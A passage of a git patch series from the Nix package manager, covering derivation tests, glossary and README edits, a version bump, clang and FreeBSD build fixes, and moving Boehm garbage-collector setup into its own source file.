 .../functional/lang/eval-okay-derivation-legacy.nix  | 12 ++++++++++++
 3 files changed, 19 insertions(+)
 create mode 100644 tests/functional/lang/eval-okay-derivation-legacy.err.exp
 create mode 100644 tests/functional/lang/eval-okay-derivation-legacy.exp
 create mode 100644 tests/functional/lang/eval-okay-derivation-legacy.nix

diff --git a/tests/functional/lang/eval-okay-derivation-legacy.err.exp b/tests/functional/lang/eval-okay-derivation-legacy.err.exp
new file mode 100644
index 00000000000..94f0854dd2c
--- /dev/null
+++ b/tests/functional/lang/eval-okay-derivation-legacy.err.exp
@@ -0,0 +1,6 @@
+warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks.<output>.allowedReferences' instead
+warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks.<output>.allowedRequisites' instead
+warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks.<output>.disallowedReferences' instead
+warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks.<output>.disallowedRequisites' instead
+warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks.<output>.maxClosureSize' instead
+warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks.<output>.maxSize' instead
diff --git a/tests/functional/lang/eval-okay-derivation-legacy.exp b/tests/functional/lang/eval-okay-derivation-legacy.exp
new file mode 100644
index 00000000000..4f374a1aac8
--- /dev/null
+++ b/tests/functional/lang/eval-okay-derivation-legacy.exp
@@ -0,0 +1 @@
+"/nix/store/mzgwvrjjir216ra58mwwizi8wj6y9ddr-eval-okay-derivation-legacy"
diff --git a/tests/functional/lang/eval-okay-derivation-legacy.nix b/tests/functional/lang/eval-okay-derivation-legacy.nix
new file mode 100644
index 00000000000..b529cdf9029
--- /dev/null
+++ b/tests/functional/lang/eval-okay-derivation-legacy.nix
@@ -0,0 +1,12 @@
+(builtins.derivationStrict {
+  name = "eval-okay-derivation-legacy";
+  system = "x86_64-linux";
+  builder = "/dontcare";
+  __structuredAttrs = true;
+  allowedReferences = [ ];
+  disallowedReferences = [ ];
+  allowedRequisites = [ ];
+  disallowedRequisites = [ ];
+  maxSize = 1234;
+  maxClosureSize = 12345;
+}).out

From d1dd7abbf008a0744debe2a13fb2f5a1c689007c Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 10 Jun 2024 20:50:35 +0200
Subject: [PATCH 295/528] mention the actual meaning of FODs in the glossary
 (#10888)

* mention the actual meaning of FODs in the glossary

Co-authored-by: Alex Groleau <source@proof.construction>
Co-authored-by: Daniel Baker <daniel.n.baker@gmail.com>
Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 doc/manual/src/glossary.md                     |  5 ++---
 doc/manual/src/language/advanced-attributes.md | 15 ++++++++-------
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md
index 55ad9e1c2f0..4c9b2c52e51 100644
--- a/doc/manual/src/glossary.md
+++ b/doc/manual/src/glossary.md
@@ -71,10 +71,9 @@
   [`__contentAddressed`](./language/advanced-attributes.md#adv-attr-__contentAddressed)
   attribute set to `true`.
 
-- [fixed-output derivation]{#gloss-fixed-output-derivation}
+- [fixed-output derivation]{#gloss-fixed-output-derivation} (FOD)
 
-  A derivation which includes the
-  [`outputHash`](./language/advanced-attributes.md#adv-attr-outputHash) attribute.
+  A [derivation] where a cryptographic hash of the [output] is determined in advance using the [`outputHash`](./language/advanced-attributes.md#adv-attr-outputHash) attribute, and where the [`builder`](@docroot@/language/derivations.md#attr-builder) executable has access to the network.
 
 - [store]{#gloss-store}
 
diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md
index 113062db19a..70ec06f5793 100644
--- a/doc/manual/src/language/advanced-attributes.md
+++ b/doc/manual/src/language/advanced-attributes.md
@@ -120,12 +120,11 @@ Derivations can declare some infrequently used optional attributes.
     configuration setting.
 
   - [`outputHash`]{#adv-attr-outputHash}; [`outputHashAlgo`]{#adv-attr-outputHashAlgo}; [`outputHashMode`]{#adv-attr-outputHashMode}\
-    These attributes declare that the derivation is a so-called
-    *fixed-output derivation*, which means that a cryptographic hash of
-    the output is already known in advance. When the build of a
-    fixed-output derivation finishes, Nix computes the cryptographic
-    hash of the output and compares it to the hash declared with these
-    attributes. If there is a mismatch, the build fails.
+    These attributes declare that the derivation is a so-called *fixed-output derivation* (FOD), which means that a cryptographic hash of the output is already known in advance.
+
+    As opposed to regular derivations, the [`builder`] executable of a fixed-output derivation has access to the network.
+    Nix computes a cryptographic hash of its output and compares that to the hash declared with these attributes.
+    If there is a mismatch, the derivation fails.
 
     The rationale for fixed-output derivations is derivations such as
     those produced by the `fetchurl` function. This function downloads a
@@ -279,7 +278,9 @@ Derivations can declare some infrequently used optional attributes.
 
     > **Note**
     >
-    > If set to `false`, the [`builder`](./derivations.md#attr-builder) should be able to run on the system type specified in the [`system` attribute](./derivations.md#attr-system), since the derivation cannot be substituted.
+    > If set to `false`, the [`builder`] should be able to run on the system type specified in the [`system` attribute](./derivations.md#attr-system), since the derivation cannot be substituted.
+
+    [`builder`]: ./derivations.md#attr-builder
 
   - [`__structuredAttrs`]{#adv-attr-structuredAttrs}\
     If the special attribute `__structuredAttrs` is set to `true`, the other derivation

From b130d2f2e335994cad555a77d242804b65a87062 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Tue, 11 Jun 2024 17:52:33 +0200
Subject: [PATCH 296/528] add more context on the README (#9871)

the thesis is still the defining document with all the motivation and
explanations.
adding it here for greater visibility.

also more emphasis and clarity around the community aspect.
the hydra build job seems a bit arbitrary right there. may be better for
the contributing guide.
---
 README.md | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/README.md b/README.md
index e1cace3b4d5..931a60bba2c 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@ Visit [nix.dev](https://nix.dev) for [installation instructions](https://nix.dev
 
 Full reference documentation can be found in the [Nix manual](https://nixos.org/nix/manual).
 
-## Building And Developing
+## Building and developing
 
 See our [Hacking guide](https://nixos.org/manual/nix/unstable/contributing/hacking.html) in our manual for instruction on how to
  set up a development environment and build Nix from source.
@@ -22,12 +22,17 @@ See our [Hacking guide](https://nixos.org/manual/nix/unstable/contributing/hacki
 
 Check the [contributing guide](./CONTRIBUTING.md) if you want to get involved with developing Nix.
 
-## Additional Resources
+## Additional resources
 
-- [Nix manual](https://nixos.org/nix/manual)
-- [Nix jobsets on hydra.nixos.org](https://hydra.nixos.org/project/nix)
-- [NixOS Discourse](https://discourse.nixos.org/)
-- [Matrix - #nix:nixos.org](https://matrix.to/#/#nix:nixos.org)
+Nix was created by Eelco Dolstra and developed as the subject of his PhD thesis [The Purely Functional Software Deployment Model](https://edolstra.github.io/pubs/phd-thesis.pdf), published 2006.
+Today, a world-wide developer community contributes to Nix and the ecosystem that has grown around it.
+
+- [The Nix, Nixpkgs, NixOS Community on nixos.org](https://nixos.org/)
+- [Official documentation on nix.dev](https://nix.dev)
+- [Nixpkgs](https://github.com/NixOS/nixpkgs) is [the largest, most up-to-date free software repository in the world](https://repology.org/repositories/graphs)
+- [NixOS](https://github.com/NixOS/nixpkgs/tree/master/nixos) is a Linux distribution that can be configured fully declaratively
+- [Discourse](https://discourse.nixos.org/)
+- [Matrix](https://matrix.to/#/#nix:nixos.org)
 
 ## License
 

From 258e2a32ec5f9661d79c0016e2510c0057f9ddd3 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 12 Jun 2024 14:57:40 +0200
Subject: [PATCH 297/528] Bump version

---
 .version | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.version b/.version
index e9763f6bfed..ad2261920c0 100644
--- a/.version
+++ b/.version
@@ -1 +1 @@
-2.23.0
+2.24.0

From e74ce01b7f0920026502824922cfd71fca5eb525 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 12 Jun 2024 10:50:07 -0400
Subject: [PATCH 298/528] Fix precompiled headers building with clang

Since 24.05 (I think) we need to pass `-c` or Clang thinks we want to
compile *both* a final executable and precompiled header file, and
complains that we cannot use `-o` with multiple outputs. `-c` seems fine
with GCC too, so I just put it in there conditionally.
---
 mk/precompiled-headers.mk | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mk/precompiled-headers.mk b/mk/precompiled-headers.mk
index cdd3daecd2b..f2803eb79eb 100644
--- a/mk/precompiled-headers.mk
+++ b/mk/precompiled-headers.mk
@@ -8,7 +8,7 @@ GCH = $(buildprefix)precompiled-headers.h.gch
 $(GCH): precompiled-headers.h
 	@rm -f $@
 	@mkdir -p "$(dir $@)"
-	$(trace-gen) $(CXX) -x c++-header -o $@ $< $(GLOBAL_CXXFLAGS) $(GCH_CXXFLAGS)
+	$(trace-gen) $(CXX) -c -x c++-header -o $@ $< $(GLOBAL_CXXFLAGS) $(GCH_CXXFLAGS)
 
 clean-files += $(GCH)
 

From 7c2981fc559e93131c845164907cec6cae11ce48 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 12 Jun 2024 10:02:20 -0400
Subject: [PATCH 299/528] Fix FreeBSD build

This restores some CPP'd code that was added in
c18911602eb4260d59acf8c17f1c3b4c7fcf7cee and accidentally lost in
2477e4e3b84b23b091befa1869a1fc6186fe74dc.

Co-authored-by: Eelco Dolstra <edolstra@gmail.com>
---
 configure.ac                           |  8 +++++++
 src/libexpr/eval.cc                    | 29 +++++++++++++++++++-------
 src/libstore/build/derivation-goal.cc  |  6 +++++-
 tests/unit/libstore/worker-protocol.cc |  1 +
 4 files changed, 36 insertions(+), 8 deletions(-)

diff --git a/configure.ac b/configure.ac
index 90a6d45d594..8211bec0bb7 100644
--- a/configure.ac
+++ b/configure.ac
@@ -369,6 +369,14 @@ if test "$gc" = yes; then
   PKG_CHECK_MODULES([BDW_GC], [bdw-gc])
   CXXFLAGS="$BDW_GC_CFLAGS $CXXFLAGS"
   AC_DEFINE(HAVE_BOEHMGC, 1, [Whether to use the Boehm garbage collector.])
+
+  # See `fixupBoehmStackPointer`, for the integration between Boehm GC
+  # and Boost coroutines.
+  old_CFLAGS="$CFLAGS"
+  # Temporary set `-pthread` just for the next check
+  CFLAGS="$CFLAGS -pthread"
+  AC_CHECK_FUNCS([pthread_attr_get_np pthread_getattr_np])
+  CFLAGS="$old_CFLAGS"
 fi
 
 AS_IF([test "$ENABLE_UNIT_TESTS" == "yes"],[
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index f441977a595..42b26834cd6 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -48,6 +48,9 @@
 #define GC_INCLUDE_NEW
 
 #include <pthread.h>
+#if __FreeBSD__
+#  include <pthread_np.h>
+#endif
 
 #include <gc/gc.h>
 #include <gc/gc_cpp.h>
@@ -264,30 +267,42 @@ static BoehmGCStackAllocator boehmGCStackAllocator;
  * However, the implementation is quite lean, and usually we don't have active
  * coroutines during evaluation, so this is acceptable.
  */
-void fixupBoehmStackPointer(void ** sp_ptr, void * pthread_id) {
+void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) {
     void *& sp = *sp_ptr;
+    auto pthread_id = reinterpret_cast<pthread_t>(_pthread_id);
     pthread_attr_t pattr;
     size_t osStackSize;
     void * osStackLow;
     void * osStackBase;
 
-    #ifdef __APPLE__
-    osStackSize = pthread_get_stacksize_np((pthread_t)pthread_id);
-    osStackLow = pthread_get_stackaddr_np((pthread_t)pthread_id);
-    #else
+#  ifdef __APPLE__
+    osStackSize = pthread_get_stacksize_np(pthread_id);
+    osStackLow = pthread_get_stackaddr_np(pthread_id);
+#  else
     if (pthread_attr_init(&pattr)) {
         throw Error("fixupBoehmStackPointer: pthread_attr_init failed");
     }
-    if (pthread_getattr_np((pthread_t)pthread_id, &pattr)) {
+#    ifdef HAVE_PTHREAD_GETATTR_NP
+    if (pthread_getattr_np(pthread_id, &pattr)) {
         throw Error("fixupBoehmStackPointer: pthread_getattr_np failed");
     }
+#    elif HAVE_PTHREAD_ATTR_GET_NP
+    if (!pthread_attr_init(&pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_init failed");
+    }
+    if (!pthread_attr_get_np(pthread_id, &pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_get_np failed");
+    }
+#    else
+#      error "Need one of `pthread_attr_get_np` or `pthread_getattr_np`"
+#    endif
     if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) {
         throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed");
     }
     if (pthread_attr_destroy(&pattr)) {
         throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed");
     }
-    #endif
+#  endif
     osStackBase = (char *)osStackLow + osStackSize;
     // NOTE: We assume the stack grows down, as it does on all architectures we support.
     //       Architectures that grow the stack up are rare.
diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc
index 4226fb61aeb..e72ef4cf9a7 100644
--- a/src/libstore/build/derivation-goal.cc
+++ b/src/libstore/build/derivation-goal.cc
@@ -25,6 +25,10 @@
 #include <fcntl.h>
 #include <unistd.h>
 
+#ifndef _WIN32 // TODO abstract over proc exit status
+# include <sys/wait.h>
+#endif
+
 #include <nlohmann/json.hpp>
 
 namespace nix {
@@ -1033,7 +1037,7 @@ void DerivationGoal::buildDone()
 
         BuildResult::Status st = BuildResult::MiscFailure;
 
-#ifndef _WIN32
+#ifndef _WIN32 // TODO abstract over proc exit status
         if (hook && WIFEXITED(status) && WEXITSTATUS(status) == 101)
             st = BuildResult::TimedOut;
 
diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc
index 5907ea5a471..70e03a8abce 100644
--- a/tests/unit/libstore/worker-protocol.cc
+++ b/tests/unit/libstore/worker-protocol.cc
@@ -1,4 +1,5 @@
 #include <regex>
+#include <thread>
 
 #include <nlohmann/json.hpp>
 #include <gtest/gtest.h>

From 5b53d8fec3149937d44b2302d51967aa95253d7a Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 12 Jun 2024 10:17:39 -0400
Subject: [PATCH 300/528] Factor out GC initialization code

This is not really part of the evaluator: it is just an integration
between Boehm GC and Boost coroutines usable for any purpose. The
evaluator (merely) optionally uses it.
---
 src/libexpr/eval-gc.cc | 226 +++++++++++++++++++++++++++++++++++++++++
 src/libexpr/eval-gc.hh |  16 +++
 src/libexpr/eval.cc    | 210 ++------------------------------------
 src/libexpr/eval.hh    |   7 +-
 4 files changed, 249 insertions(+), 210 deletions(-)
 create mode 100644 src/libexpr/eval-gc.cc
 create mode 100644 src/libexpr/eval-gc.hh

diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc
new file mode 100644
index 00000000000..baf9df3324a
--- /dev/null
+++ b/src/libexpr/eval-gc.cc
@@ -0,0 +1,226 @@
+#include "error.hh"
+#include "environment-variables.hh"
+#include "serialise.hh"
+#include "eval-gc.hh"
+
+#if HAVE_BOEHMGC
+
+#  include <pthread.h>
+#  if __FreeBSD__
+#    include <pthread_np.h>
+#  endif
+
+#  include <gc/gc.h>
+#  include <gc/gc_cpp.h>
+#  include <gc/gc_allocator.h>
+
+#  include <boost/coroutine2/coroutine.hpp>
+#  include <boost/coroutine2/protected_fixedsize_stack.hpp>
+#  include <boost/context/stack_context.hpp>
+
+#endif
+
+namespace nix {
+
+#if HAVE_BOEHMGC
+/* Called when the Boehm GC runs out of memory. */
+static void * oomHandler(size_t requested)
+{
+    /* Convert this to a proper C++ exception. */
+    throw std::bad_alloc();
+}
+
+class BoehmGCStackAllocator : public StackAllocator
+{
+    boost::coroutines2::protected_fixedsize_stack stack{
+        // We allocate 8 MB, the default max stack size on NixOS.
+        // A smaller stack might be quicker to allocate but reduces the stack
+        // depth available for source filter expressions etc.
+        std::max(boost::context::stack_traits::default_size(), static_cast<std::size_t>(8 * 1024 * 1024))};
+
+    // This is specific to boost::coroutines2::protected_fixedsize_stack.
+    // The stack protection page is included in sctx.size, so we have to
+    // subtract one page size from the stack size.
+    std::size_t pfss_usable_stack_size(boost::context::stack_context & sctx)
+    {
+        return sctx.size - boost::context::stack_traits::page_size();
+    }
+
+public:
+    boost::context::stack_context allocate() override
+    {
+        auto sctx = stack.allocate();
+
+        // Stacks generally start at a high address and grow to lower addresses.
+        // Architectures that do the opposite are rare; in fact so rare that
+        // boost_routine does not implement it.
+        // So we subtract the stack size.
+        GC_add_roots(static_cast<char *>(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp);
+        return sctx;
+    }
+
+    void deallocate(boost::context::stack_context sctx) override
+    {
+        GC_remove_roots(static_cast<char *>(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp);
+        stack.deallocate(sctx);
+    }
+};
+
+static BoehmGCStackAllocator boehmGCStackAllocator;
+
+/**
+ * When a thread goes into a coroutine, we lose its original sp until
+ * control flow returns to the thread.
+ * While in the coroutine, the sp points outside the thread stack,
+ * so we can detect this and push the entire thread stack instead,
+ * as an approximation.
+ * The coroutine's stack is covered by `BoehmGCStackAllocator`.
+ * This is not an optimal solution, because the garbage is scanned when a
+ * coroutine is active, for both the coroutine and the original thread stack.
+ * However, the implementation is quite lean, and usually we don't have active
+ * coroutines during evaluation, so this is acceptable.
+ */
+void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id)
+{
+    void *& sp = *sp_ptr;
+    auto pthread_id = reinterpret_cast<pthread_t>(_pthread_id);
+    pthread_attr_t pattr;
+    size_t osStackSize;
+    void * osStackLow;
+    void * osStackBase;
+
+#  ifdef __APPLE__
+    osStackSize = pthread_get_stacksize_np(pthread_id);
+    osStackLow = pthread_get_stackaddr_np(pthread_id);
+#  else
+    if (pthread_attr_init(&pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_init failed");
+    }
+#    ifdef HAVE_PTHREAD_GETATTR_NP
+    if (pthread_getattr_np(pthread_id, &pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_getattr_np failed");
+    }
+#    elif HAVE_PTHREAD_ATTR_GET_NP
+    if (!pthread_attr_init(&pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_init failed");
+    }
+    if (!pthread_attr_get_np(pthread_id, &pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_get_np failed");
+    }
+#    else
+#      error "Need one of `pthread_attr_get_np` or `pthread_getattr_np`"
+#    endif
+    if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed");
+    }
+    if (pthread_attr_destroy(&pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed");
+    }
+#  endif
+    osStackBase = (char *) osStackLow + osStackSize;
+    // NOTE: We assume the stack grows down, as it does on all architectures we support.
+    //       Architectures that grow the stack up are rare.
+    if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack
+        sp = osStackBase;
+    }
+}
+
+/* Disable GC while this object lives. Used by CoroutineContext.
+ *
+ * Boehm keeps a count of GC_disable() and GC_enable() calls,
+ * and only enables GC when the count matches.
+ */
+class BoehmDisableGC
+{
+public:
+    BoehmDisableGC()
+    {
+        GC_disable();
+    };
+    ~BoehmDisableGC()
+    {
+        GC_enable();
+    };
+};
+
+static inline void initGCReal()
+{
+    /* Initialise the Boehm garbage collector. */
+
+    /* Don't look for interior pointers. This reduces the odds of
+       misdetection a bit. */
+    GC_set_all_interior_pointers(0);
+
+    /* We don't have any roots in data segments, so don't scan from
+       there. */
+    GC_set_no_dls(1);
+
+    GC_INIT();
+
+    GC_set_oom_fn(oomHandler);
+
+    StackAllocator::defaultAllocator = &boehmGCStackAllocator;
+
+// TODO: Remove __APPLE__ condition.
+//       Comment suggests an implementation that works on darwin and windows
+//       https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196
+#  if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 2 && GC_VERSION_MICRO >= 4 && !defined(__APPLE__)
+    GC_set_sp_corrector(&fixupBoehmStackPointer);
+
+    if (!GC_get_sp_corrector()) {
+        printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines");
+        /* Used to disable GC when entering coroutines on macOS */
+        create_coro_gc_hook = []() -> std::shared_ptr<void> { return std::make_shared<BoehmDisableGC>(); };
+    }
+#  else
+#    warning \
+        "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.2.4 or later."
+#  endif
+
+    /* Set the initial heap size to something fairly big (25% of
+       physical RAM, up to a maximum of 384 MiB) so that in most cases
+       we don't need to garbage collect at all.  (Collection has a
+       fairly significant overhead.)  The heap size can be overridden
+       through libgc's GC_INITIAL_HEAP_SIZE environment variable.  We
+       should probably also provide a nix.conf setting for this.  Note
+       that GC_expand_hp() causes a lot of virtual, but not physical
+       (resident) memory to be allocated.  This might be a problem on
+       systems that don't overcommit. */
+    if (!getEnv("GC_INITIAL_HEAP_SIZE")) {
+        size_t size = 32 * 1024 * 1024;
+#  if HAVE_SYSCONF && defined(_SC_PAGESIZE) && defined(_SC_PHYS_PAGES)
+        size_t maxSize = 384 * 1024 * 1024;
+        long pageSize = sysconf(_SC_PAGESIZE);
+        long pages = sysconf(_SC_PHYS_PAGES);
+        if (pageSize != -1)
+            size = (pageSize * pages) / 4; // 25% of RAM
+        if (size > maxSize)
+            size = maxSize;
+#  endif
+        debug("setting initial heap size to %1% bytes", size);
+        GC_expand_hp(size);
+    }
+}
+
+#endif
+
+static bool gcInitialised = false;
+
+void initGC()
+{
+    if (gcInitialised)
+        return;
+
+#if HAVE_BOEHMGC
+    initGCReal();
+#endif
+
+    gcInitialised = true;
+}
+
+void assertGCInitialized()
+{
+    assert(gcInitialised);
+}
+
+}
diff --git a/src/libexpr/eval-gc.hh b/src/libexpr/eval-gc.hh
new file mode 100644
index 00000000000..cd4ea914d9f
--- /dev/null
+++ b/src/libexpr/eval-gc.hh
@@ -0,0 +1,16 @@
+#pragma once
+///@file
+
+namespace nix {
+
+/**
+ * Initialise the Boehm GC, if applicable.
+ */
+void initGC();
+
+/**
+ * Make sure `initGC` has already been called.
+ */
+void assertGCInitialized();
+
+}
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 42b26834cd6..301b81a6262 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -40,25 +40,16 @@
 #include <boost/container/small_vector.hpp>
 
 #ifndef _WIN32 // TODO use portable implementation
-# include <sys/resource.h>
+#  include <sys/resource.h>
 #endif
 
 #if HAVE_BOEHMGC
 
-#define GC_INCLUDE_NEW
+#  define GC_INCLUDE_NEW
 
-#include <pthread.h>
-#if __FreeBSD__
-#  include <pthread_np.h>
-#endif
-
-#include <gc/gc.h>
-#include <gc/gc_cpp.h>
-#include <gc/gc_allocator.h>
-
-#include <boost/coroutine2/coroutine.hpp>
-#include <boost/coroutine2/protected_fixedsize_stack.hpp>
-#include <boost/context/stack_context.hpp>
+#  include <gc/gc.h>
+#  include <gc/gc_cpp.h>
+#  include <gc/gc_allocator.h>
 
 #endif
 
@@ -211,109 +202,6 @@ bool Value::isTrivial() const
 }
 
 
-#if HAVE_BOEHMGC
-/* Called when the Boehm GC runs out of memory. */
-static void * oomHandler(size_t requested)
-{
-    /* Convert this to a proper C++ exception. */
-    throw std::bad_alloc();
-}
-
-class BoehmGCStackAllocator : public StackAllocator {
-    boost::coroutines2::protected_fixedsize_stack stack {
-        // We allocate 8 MB, the default max stack size on NixOS.
-        // A smaller stack might be quicker to allocate but reduces the stack
-        // depth available for source filter expressions etc.
-        std::max(boost::context::stack_traits::default_size(), static_cast<std::size_t>(8 * 1024 * 1024))
-    };
-
-    // This is specific to boost::coroutines2::protected_fixedsize_stack.
-    // The stack protection page is included in sctx.size, so we have to
-    // subtract one page size from the stack size.
-    std::size_t pfss_usable_stack_size(boost::context::stack_context &sctx) {
-        return sctx.size - boost::context::stack_traits::page_size();
-    }
-
-  public:
-    boost::context::stack_context allocate() override {
-        auto sctx = stack.allocate();
-
-        // Stacks generally start at a high address and grow to lower addresses.
-        // Architectures that do the opposite are rare; in fact so rare that
-        // boost_routine does not implement it.
-        // So we subtract the stack size.
-        GC_add_roots(static_cast<char *>(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp);
-        return sctx;
-    }
-
-    void deallocate(boost::context::stack_context sctx) override {
-        GC_remove_roots(static_cast<char *>(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp);
-        stack.deallocate(sctx);
-    }
-
-};
-
-static BoehmGCStackAllocator boehmGCStackAllocator;
-
-/**
- * When a thread goes into a coroutine, we lose its original sp until
- * control flow returns to the thread.
- * While in the coroutine, the sp points outside the thread stack,
- * so we can detect this and push the entire thread stack instead,
- * as an approximation.
- * The coroutine's stack is covered by `BoehmGCStackAllocator`.
- * This is not an optimal solution, because the garbage is scanned when a
- * coroutine is active, for both the coroutine and the original thread stack.
- * However, the implementation is quite lean, and usually we don't have active
- * coroutines during evaluation, so this is acceptable.
- */
-void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) {
-    void *& sp = *sp_ptr;
-    auto pthread_id = reinterpret_cast<pthread_t>(_pthread_id);
-    pthread_attr_t pattr;
-    size_t osStackSize;
-    void * osStackLow;
-    void * osStackBase;
-
-#  ifdef __APPLE__
-    osStackSize = pthread_get_stacksize_np(pthread_id);
-    osStackLow = pthread_get_stackaddr_np(pthread_id);
-#  else
-    if (pthread_attr_init(&pattr)) {
-        throw Error("fixupBoehmStackPointer: pthread_attr_init failed");
-    }
-#    ifdef HAVE_PTHREAD_GETATTR_NP
-    if (pthread_getattr_np(pthread_id, &pattr)) {
-        throw Error("fixupBoehmStackPointer: pthread_getattr_np failed");
-    }
-#    elif HAVE_PTHREAD_ATTR_GET_NP
-    if (!pthread_attr_init(&pattr)) {
-        throw Error("fixupBoehmStackPointer: pthread_attr_init failed");
-    }
-    if (!pthread_attr_get_np(pthread_id, &pattr)) {
-        throw Error("fixupBoehmStackPointer: pthread_attr_get_np failed");
-    }
-#    else
-#      error "Need one of `pthread_attr_get_np` or `pthread_getattr_np`"
-#    endif
-    if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) {
-        throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed");
-    }
-    if (pthread_attr_destroy(&pattr)) {
-        throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed");
-    }
-#  endif
-    osStackBase = (char *)osStackLow + osStackSize;
-    // NOTE: We assume the stack grows down, as it does on all architectures we support.
-    //       Architectures that grow the stack up are rare.
-    if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack
-        sp = osStackBase;
-    }
-}
-
-#endif
-
-
 static Symbol getName(const AttrName & name, EvalState & state, Env & env)
 {
     if (name.symbol) {
@@ -326,92 +214,6 @@ static Symbol getName(const AttrName & name, EvalState & state, Env & env)
     }
 }
 
-#if HAVE_BOEHMGC
-/* Disable GC while this object lives. Used by CoroutineContext.
- *
- * Boehm keeps a count of GC_disable() and GC_enable() calls,
- * and only enables GC when the count matches.
- */
-class BoehmDisableGC {
-public:
-    BoehmDisableGC() {
-        GC_disable();
-    };
-    ~BoehmDisableGC() {
-        GC_enable();
-    };
-};
-#endif
-
-static bool gcInitialised = false;
-
-void initGC()
-{
-    if (gcInitialised) return;
-
-#if HAVE_BOEHMGC
-    /* Initialise the Boehm garbage collector. */
-
-    /* Don't look for interior pointers. This reduces the odds of
-       misdetection a bit. */
-    GC_set_all_interior_pointers(0);
-
-    /* We don't have any roots in data segments, so don't scan from
-       there. */
-    GC_set_no_dls(1);
-
-    GC_INIT();
-
-    GC_set_oom_fn(oomHandler);
-
-    StackAllocator::defaultAllocator = &boehmGCStackAllocator;
-
-    // TODO: Remove __APPLE__ condition.
-    //       Comment suggests an implementation that works on darwin and windows
-    //       https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196
-    #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 2 && GC_VERSION_MICRO >= 4 && !defined(__APPLE__)
-    GC_set_sp_corrector(&fixupBoehmStackPointer);
-
-    if (!GC_get_sp_corrector()) {
-        printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines");
-        /* Used to disable GC when entering coroutines on macOS */
-        create_coro_gc_hook = []() -> std::shared_ptr<void> {
-            return std::make_shared<BoehmDisableGC>();
-        };
-    }
-    #else
-    #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.2.4 or later."
-    #endif
-
-
-    /* Set the initial heap size to something fairly big (25% of
-       physical RAM, up to a maximum of 384 MiB) so that in most cases
-       we don't need to garbage collect at all.  (Collection has a
-       fairly significant overhead.)  The heap size can be overridden
-       through libgc's GC_INITIAL_HEAP_SIZE environment variable.  We
-       should probably also provide a nix.conf setting for this.  Note
-       that GC_expand_hp() causes a lot of virtual, but not physical
-       (resident) memory to be allocated.  This might be a problem on
-       systems that don't overcommit. */
-    if (!getEnv("GC_INITIAL_HEAP_SIZE")) {
